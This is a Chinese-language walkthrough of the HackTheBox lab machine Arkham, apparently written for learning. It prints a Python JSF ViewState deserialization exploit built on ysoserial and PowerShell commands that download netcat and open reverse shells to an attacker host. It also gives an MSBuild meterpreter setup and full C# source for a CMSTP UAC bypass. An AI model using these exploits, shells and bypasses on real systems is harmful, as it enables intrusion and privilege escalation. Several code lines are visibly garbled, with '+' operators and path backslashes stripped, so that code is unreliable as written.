Arkham是一个中等难度的靶机,但是它的难度可以和困难相媲美。其中涉及了lucks解密、JSF ViewState反序列化、ost邮件分析、UAC绕过等相关知识。ViewState反序列化漏洞让我学到了很多,虽然其中的数据是加密的,但是它提供了一个用于执行攻击的密钥使得我能够成功获取shell,上线后在电子邮件中找到了管理员密码,需要绕过UAC限制拿到最后的flag。感兴趣的同学可以在HackTheBox中进行学习。
截屏2021-12-15 下午2.38.20
0x01 侦查
端口扫描
使用 nmap 对目标进行端口扫描
代码语言:javascript复制nmap -Pn -p- -sV -sC -A 10.10.10.130 -oA nmap_Arkham
通过 nmap 的扫描结果可以发现目标开放了80、135、139、445、8080端口
80端口
80端口为 IIS 默认界面,使用 gobuster 进行目录扫描
代码语言:javascript复制gobuster dir -u http://10.10.10.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
截屏2021-12-15 下午3.39.43
但是并没有扫描到什么有价值的目录
8080端口
页面显示这是一家名为 Mask 的公司,主要业务为数据保护。使用 gobuster 进行目录扫描
代码语言:javascript复制gobuster dir -u http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
也没有发现什么有用的目录,查看网站可以在订阅中发现一个交互点
输入 mac 会给你一个返回信息
445端口
使用 smbclient 查看当前共享
代码语言:javascript复制smbclient -N -L //10.10.10.130
也可以使用 smbmap 进行扫描,但是获取到的信息并没有很多
代码语言:javascript复制smbmap -H 10.10.10.130
截屏2021-12-17 下午4.49.55
Users 查看 Users 共享
代码语言:javascript复制smbclient //10.10.10.130/users
截屏2021-12-17 下午4.53.07
BatShare 查看 BatShare 共享
代码语言:javascript复制smbclient //10.10.10.130/batshare
smb > get appserver.zip
通过对 Users 以及 BatShare 共享的探索我们发现 Users 中只存放了一些默认用户和访客用户的文件,而 BatShare 中包含了一个压缩包appserver.zip
同时将其下载下来
lucks映像
将下载下来的压缩包解压
代码语言:javascript复制unzip appserver.zip
其中包含一个文本和一个加密的磁盘映像
爆破lucks密码
LUCKS 是 linux 硬盘加密的标准,如果我要访问里面的文件,必须先找到其中的密码。使用 bruteforce-luks 对密码进行爆破
代码语言:javascript复制apt install bruteforce-luks
cat /usr/share/wordlists/rockyou.txt | grep batman > test.txt
bruteforce-luks -t 10 -f test.txt backup.img -v 60
成功跑出密码为:batmanforver
挂载磁盘映像
使用 cryptsetup 打开文件
代码语言:javascript复制cryptsetup open --type luks backup.img arkham
查看驱动发现一个新设备
代码语言:javascript复制ls -l /dev/mapper/
截屏2021-12-17 下午5.39.13
挂载新设备到 Arkham 目录下
代码语言:javascript复制mount /dev/mapper/arkham ~/hackthebox/Machines/Arkham/mnt/
截屏2021-12-17 下午5.40.14
开始对目录中的文件进行枚举
代码语言:javascript复制find ~/hackthebox/Machines/Arkham/mnt/ -type f
其中包括蝙蝠侠的图片和 tomcat-stuff 文件夹,通过对其中各个文件的筛查,我们在 web.xml.bak 中发现了有趣的东西
根据以上配置文件我们可以在发现如下信息
代码语言:javascript复制该站点会匹配 *.faces 来调用 servlet
myfaces 的 SECRET 为 SnNGOTg3Ni0=
HmacSHA1 的 SECRET 为 SnNGOTg3Ni0=
SnNGOTg3Ni0= 经过解码后为 JsF9876-
JSF 版本为 2.5.2
0x02 JSF反序列化上线[Alfred]
JSF ViewState反序列化漏洞
JSF 框架主要使用序列化来保持站点的状态,它会帮助服务器序列化一个 Java 对象,并将其作为网页中的隐藏字段发送到客户端,当客户端提交时该序列化对象被发送回服务器,服务器可以使用它来取回状态。反序列化漏洞是允许用户提交序列化对象,如果序列化对象包含恶意代码,那么在反序列化过程中就会运行。从而用户可以控制输入来获取执行权限。
通过以上介绍和分析,我们可以推测该站点可能存在反序列化漏洞,那么如何来验证该漏洞呢?可采取以下思路
代码语言:javascript复制1、测试提交错误的 ViewState 会发生什么?
2、解密 ViewState 变量来显示我的加密密钥有效
3、构建脚本加密好的 ViewState 并进行提交
4、使用 ysoserial 来生成 payload,它可以使用脚本中的 ViewState 来 ping 主机
5、更新 payload 获取反弹shell
找到之前的订阅栏目,使用 BurpSuite 将数据包拦截,具体数据包如下
将 javax.faces.ViewState 参数的值的第一个字符从 w 字符修改为 W 字符,查看页面报错信息
返回信息提示No Saved view state could be found for the view identifier
,这说明修改是有效的
探索ViewState
我们可以抓取到 javax.faces.ViewState 参数的值如下
代码语言:javascript复制javax.faces.ViewState=wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=
通过 python 代码来获取其中的字节流
代码语言:javascript复制from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
vs = 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
vs_urldecode = urldecode(vs)
print(vs_urldecode)
vs_bs64decode = b64decode(vs_urldecode)
print(vs_bs64decode)
截屏2021-12-18 下午8.09.27
这是加密的字节流,我们需要通过解密来获取其中的信息。SHA1的长度通常为20字节,很可能附加到首位或末尾。经过测试 HMAC 存储在最后20字节中
代码语言:javascript复制from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
from hashlib import sha1
import hmac
vs = 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
vs_urldecode = urldecode(vs)
vs_bs64decode = b64decode(vs_urldecode)
mac = vs_bs64decode[-20:]
enc = vs_bs64decode[:-20]
enc_hmac = hmac.new(b'JsF9876-', enc, sha1).digest()
print(mac)
print(enc_hmac)
目前已知加密方式、加密位置以及密钥,接下来就可以解密这串值
代码语言:javascript复制from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
from Crypto.Cipher import DES
vs = 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
vs_urldecode = urldecode(vs)
vs_bs64decode = b64decode(vs_urldecode)
enc = vs_bs64decode[:-20]
d = DES.new(b'JsF9876-', DES.MODE_ECB)
print(d.decrypt(enc))
经过解密后出现字符串说明解密确实是正确的
使用 ysoserial 来生成 ping 命令的 payload
代码语言:javascript复制java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar BeanShell1 'ping 10.10.14.14' > text
生成成功,但是我需要将其放入 python 脚本当中进行调用
代码语言:javascript复制安装模块 pip install pycryptodome
import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode
with open(devnull, 'w') as null:
payload = subprocess.check_output(['java', '-jar', '/root/hackthebox/Machines/Arkham/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', sys.argv[1], sys.argv[2]], stderr=null)
pad = (8 - (len(payload) % 8)) % 8
padded = payload (chr(pad)*pad).encode()
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload sig)
sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
data = {'j_id_jsp_1623871077_1:email': 'd',
'j_id_jsp_1623871077_1:submit': 'SIGN UP',
'j_id_jsp_1623871077_1_SUBMIT': '1',
'javax.faces.ViewState': viewstate})
启动本地监听
代码语言:javascript复制tcpdump -i tun0 icmp
使用脚本执行 ping 命令
代码语言:javascript复制python3 exploit.py BeanShell1 'ping 10.10.14.14'
成功收到 ping 命令,反序列化漏洞验证成功
获取shell
为了获取目标站点的shell,我们把 nc64.exe 放在本目录下并开启 http 服务
代码语言:javascript复制python -m SimpleHTTPServer 80
在本地开启监听,接收反弹shell
代码语言:javascript复制rlwrap nc -nvlp 443
这里需要在 exploit.py 进行略微修改,源码如下
代码语言:javascript复制#!/usr/bin/env python3
import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode
with open(devnull, 'w') as null:
payload = subprocess.check_output(['java', '-jar', '/root/hackthebox/Machines/Arkham/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections5', sys.argv[1]], stderr=null)
pad = (8 - (len(payload) % 8)) % 8
padded = payload (chr(pad)*pad).encode()
d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload sig)
sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
data = {'j_id_jsp_1623871077_1:email': 'd',
'j_id_jsp_1623871077_1:submit': 'SIGN UP',
'j_id_jsp_1623871077_1_SUBMIT': '1',
'javax.faces.ViewState': viewstate})
执行以下命令上传 nc 并使用 nc 连接本地443端口
代码语言:javascript复制python3 exploit2.py "powershell -c Invoke-Webrequest -uri 'http://10.10.14.14/nc64.exe' -outfile windowssystem32spooldriverscolornc.exe"
python3 exploit2.py "windowssystem32spooldriverscolornc.exe -e cmd 10.10.14.14 443"
成功收到反弹shell
读取user.txt
在 Alfred 的桌面上找到flag
代码语言:javascript复制dir C:UsersAlfredDesktop
type C:UsersAlfredDesktopuser.txt
成功拿到第一个flag
0x03 权限提升[batman]
获得密码
在主目录下枚举关键文件
代码语言:javascript复制dir /s /b /a:-d-h Usersalfred | findstr /i /v "appdata"
发现 backup.zip,我们需要将其下载到本地。借助 smbserver 来建立 smb 共享,同时设置账号密码,否则无法连接
代码语言:javascript复制python3 smbserver.py -smb2support -username mac -password mac share /root/hackthebox/Machines/Arkham/
在靶机上复制 backup.zip 到本机目录下
代码语言:javascript复制net use \10.10.14.14share /u:mac mac
copy C:UsersAlfredDownloadsbackupsbackup.zip \10.10.14.14share
解压该文件,里面包含一个 ost 文件,是 Microsoft Outlook 的脱机文件夹文件
代码语言:javascript复制unzip -l backup.zip
截屏2021-12-20 上午3.54.09
借助 readpst 来进行解析,该工具可以用来解析.pst
、.ost
文件
readpst alfred@arkham.local.ost
解压完成是一个.mbox
文件,这是一种电子邮件邮箱文件格式,可在单个文件中存储多条消息并将其作为文本。使用 mutt 来打开它
mutt -R -f Drafts.mbox
这是一封给 batman 的邮件,翻到最后存在一个附件
通过 v 来查看附件
成功获取到账号密码为:batman/Zx^#QZX T!123
获取shell
进入 powershell 来制作凭据
代码语言:javascript复制powershell
$username = 'batman'
$password = 'Zx^#QZX T!123'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
建立凭据后开启监听2222端口,之后执行命令以 batman 身份反弹shell
代码语言:javascript复制Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:windowssystem32spooldriverscolornc.exe" -e cmd.exe 10.10.14.14 2222 }
成功获得shell
0x04 UAC绕过
受限环境
查看当前用户权限
代码语言:javascript复制net user batman
该用户拥有管理员和远程管理员权限,但是读取 root.txt 时无法访问 administrator 的桌面
代码语言:javascript复制dir c:UsersadministratorDesktop
type c:UsersadministratorDesktoproot.txt
查询权限,判断当前环境为受限状态且 UAC 状态已经启用
通过本地共享读取root.txt
代码语言:javascript复制type \localhostc$usersadministratordesktoproot.txt
成功拿到第二个flag
借助msf绕过UAC读取root.txt
建立meterpreter会话
由于绕过大多数 UAC 都需要交互过程,使用 msf 能够有效帮助我们绕过 UAC。借助 GreatSCT 来获取一个 meterpreter 工具地址:https://github.com/GreatSCT/GreatSCT
代码语言:javascript复制cd setup
./setup.sh
建立完成后,使用 GreatSCT.py 查看相关命令
代码语言:javascript复制python3 GreatSCT.py
使用 bypass
代码语言:javascript复制use bypass
查看反弹脚本
代码语言:javascript复制list
使用msbuild/meterpreter/rev_tcp.py
设置 tcp 监听
use msbuild/meterpreter/rev_tcp.py
截屏2021-12-20 上午5.15.13
设置本地IP和端口
代码语言:javascript复制set LHOST 10.10.14.14
set LPORT 4444
截屏2021-12-20 上午5.16.17
代码语言:javascript复制generate
##输入arkham
成功生成 arkham.xml 、arkham.rc,这两个文件有不同的作用。arkham.xml 用于在 windows 中反弹 meterpreter,arkham.rc 用于在 msf 中直接配置监听
使用 msfconsole 加载 rc 文件并设置参数
代码语言:javascript复制msfconsole -r arkham.rc
截屏2021-12-20 上午5.21.19
与此同时将 xml 文件移动到目标靶机上
代码语言:javascript复制cd UsersBatmanappdatalocaltemp
net use \10.10.14.14share /u:mac mac
copy \10.10.14.14sharearkham.xml C:UsersBatmanappdatalocaltemp
截屏2021-12-20 上午5.24.19
运行 msbuild 获取 meterpreter 会话
代码语言:javascript复制WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe UsersBatmanappdatalocaltemparkham.xml
在 msf 中成功返回会话
CMSTP UAC绕过
参考文章:https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
代码语言:javascript复制/*
UAC Bypass using CMSTP.exe microsoft binary
Based on previous work from Oddvar Moe
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;
public class CMSTPBypass
{
// Our .INF file data!
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"
[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""
";
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
public static string BinaryPath = "c:\windows\system32\cmstp.exe";
/* Generates a random named .inf file with command to be executed with UAC privileges */
public static string SetInfFile(string CommandToExecute)
{
string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
string TemporaryDir = "C:\windows\temp";
StringBuilder OutputFile = new StringBuilder();
OutputFile.Append(TemporaryDir);
OutputFile.Append("\");
OutputFile.Append(RandomFileName);
OutputFile.Append(".inf");
StringBuilder newInfData = new StringBuilder(InfData);
newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
return OutputFile.ToString();
}
public static bool Execute(string CommandToExecute)
{
if(!File.Exists(BinaryPath))
{
Console.WriteLine("Could not find cmstp.exe binary!");
return false;
}
StringBuilder InfFile = new StringBuilder();
InfFile.Append(SetInfFile(CommandToExecute));
Console.WriteLine("Payload file written to " InfFile.ToString());
ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
startInfo.Arguments = "/au " InfFile.ToString();
startInfo.UseShellExecute = false;
Process.Start(startInfo);
IntPtr windowHandle = new IntPtr();
windowHandle = IntPtr.Zero;
do {
windowHandle = SetWindowActive("cmstp");
} while (windowHandle == IntPtr.Zero);
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
return true;
}
public static IntPtr SetWindowActive(string ProcessName)
{
Process[] target = Process.GetProcessesByName(ProcessName);
if(target.Length == 0) return IntPtr.Zero;
target[0].Refresh();
IntPtr WindowHandle = new IntPtr();
WindowHandle = target[0].MainWindowHandle;
if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
SetForegroundWindow(WindowHandle);
ShowWindow(WindowHandle, 5);
return WindowHandle;
}
}
查看交互进程explore.exe
,并将当前进程迁移到对应的进程号中
ps -S explore
migrate 4824
将上面的 C-Sharp 源码命名为 Source.cs,通过 powershell 编译为 dll 文件
代码语言:javascript复制load powershell
powershell_shell
cd UsersBatmanappdatalocaltemp
iwr -uri 10.10.14.14/Source.cs -outfile Source.cs
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
将该 dll 加载到内存中
代码语言:javascript复制[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwdCMSTP-UAC-Bypass.dll"))
在本地开启 nc 监听,可以调用导出的函数执行反弹shell
代码语言:javascript复制[CMSTPBypass]::Execute("C:windowsSystem32spooldriverscolornc.exe -e cmd 10.10.14.14 7777")
截屏2021-12-20 上午5.41.02
在本地获取到反弹shell
查看权限以及对应flag
代码语言:javascript复制whoami /priv
截屏2021-12-20 上午5.42.49
代码语言:javascript复制dir c:UsersadministratorDesktop
type c:UsersadministratorDesktoproot.txt
截屏2021-12-20上午5.43.06